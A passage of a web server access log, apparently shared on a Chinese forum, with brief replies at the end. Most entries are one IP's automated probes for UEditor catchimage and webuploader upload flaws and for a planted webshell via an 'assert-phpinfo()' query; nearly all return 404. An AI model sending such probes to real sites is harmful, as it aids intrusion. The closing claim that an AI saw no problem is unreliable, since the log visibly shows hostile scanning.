Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:47 +0800] “POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:50 +0800] “POST /static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:50 +0800] “POST /static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”185.191.171.10 - - [04/Jul/2026:06:43:51 +0800] “GET /2354.html HTTP/1.1” 200 8913 “-” “Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)”154.36.174.23 - - [04/Jul/2026:06:43:52 +0800] “GET /static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:53 +0800] “GET /manage/webuploader/preview/preview.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:53 +0800] “GET /Public/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:53 +0800] “GET /statics/admin/webuploader/0.1.5/server/preview.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:53 +0800] “GET /lib/webuploader/0.1.5/server/preview.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:53 +0800] “GET /public/webuploader/server/preview.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:54 +0800] “GET /kyadmin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:56 +0800] “GET //tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:56 +0800] “GET /tj/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:56 +0800] “GET /tongji/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:57 +0800] “GET /tong/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:43:57 +0800] “GET /tongj/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:57 +0800] “GET /zz/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:43:57 +0800] “GET /zhizhu/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:58 +0800] “GET /zhi/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:43:58 +0800] “GET /zhiz/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:43:58 +0800] “GET /zhu/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:43:58 +0800] “GET /zzhu/tongjis.php?assert-phpinfo() HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:44:02 +0800] “POST /uedit/php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:44:02 +0800] “POST /static/common/user/ueditor/php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:44:02 +0800] “POST /Plugin/ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:02 +0800] “POST /Plugin/uedit//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:02 +0800] “POST /Scripts/ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:44:03 +0800] “POST /Scripts/uedit//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:44:03 +0800] “POST /content/Ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:03 +0800] “POST /Controls/Ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:03 +0800] “POST /manager/Ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:44:04 +0800] “POST /editor/Ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:04 +0800] “POST /admin/Ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:04 +0800] “POST /Ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:04 +0800] “POST /static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:44:05 +0800] “POST /static/common/editor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:05 +0800] “POST /static/common/ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:05 +0800] “POST /public/plugins/Ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:05 +0800] “POST /plugins/Ueditor//php/controller.php?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”51.77.211.229 - - [04/Jul/2026:06:44:08 +0800] “GET / HTTP/1.1” 200 11787 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36”151.80.133.238 - - [04/Jul/2026:06:44:08 +0800] “GET /bulletin/notice1 HTTP/1.1” 200 7252 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36”183.47.122.209 - - [04/Jul/2026:06:44:10 +0800] “GET /161.html HTTP/1.1” 301 162 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:10 +0800] “POST /controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”141.95.54.132 - - [04/Jul/2026:06:44:10 +0800] “GET /2356.html HTTP/1.1” 200 9062 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36”183.47.122.233 - - [04/Jul/2026:06:44:10 +0800] “GET /161.html HTTP/1.1” 200 8916 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:10 +0800] “POST /uedit/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:44:10 +0800] “POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”157.148.59.37 - - [04/Jul/2026:06:44:10 +0800] “GET /wp-admin/admin-ajax.php?postviews_id=161&action=postviews&=1783118650520 HTTP/1.1" 200 34 “https://www.im2828.com/161.html” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:10 +0800] “POST /static/common/user/ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:44:11 +0800] “POST /Plugin/ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:44:11 +0800] “POST /Plugin/uedit/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100202 Firefox/6.1”154.36.174.23 - - [04/Jul/2026:06:44:11 +0800] “POST /Scripts/ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:11 +0800] “POST /Scripts/uedit/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:44:12 +0800] “POST /content/Ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:44:12 +0800] “POST /Controls/Ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:44:12 +0800] “POST /manager/Ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”154.36.174.23 - - [04/Jul/2026:06:44:12 +0800] “POST /editor/Ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:13 +0800] “POST /admin/Ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:13 +0800] “POST /static/common/user/uedit/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.10”154.36.174.23 - - [04/Jul/2026:06:44:13 +0800] “POST /js/ueditor/net/controller.ashx?action=catchimage HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201”154.36.174.23 - - [04/Jul/2026:06:44:15 +0800] “POST /member/upload.php HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:19 +0800] “GET /member/success.aspx HTTP/1.1” 404 138 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36”58.46.248.116 - - [04/Jul/2026:06:44:20 +0800] “GET /archives?963 HTTP/1.1” 200 76058 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)”112.90.2.254 - - [04/Jul/2026:06:44:22 +0800] “GET /257.html HTTP/1.1” 301 162 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36”120.241.127.188 - - [04/Jul/2026:06:44:23 +0800] “GET /257.html HTTP/1.1” 200 13650 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:23 +0800] “POST / HTTP/1.1” 200 5098 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”157.148.58.206 - - [04/Jul/2026:06:44:23 +0800] "GET /wp-admin/admin-ajax.php?postviews_id=257&action=postviews&=1783118663352 HTTP/1.1” 200 34 “https://www.im2828.com/257.html” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36”154.36.174.23 - - [04/Jul/2026:06:44:23 +0800] “GET /whoami.txt HTTP/1.1” 404 138 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50726; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)”访问日志

你在这问还不如丢给ai

用AI看了 没检测到问题。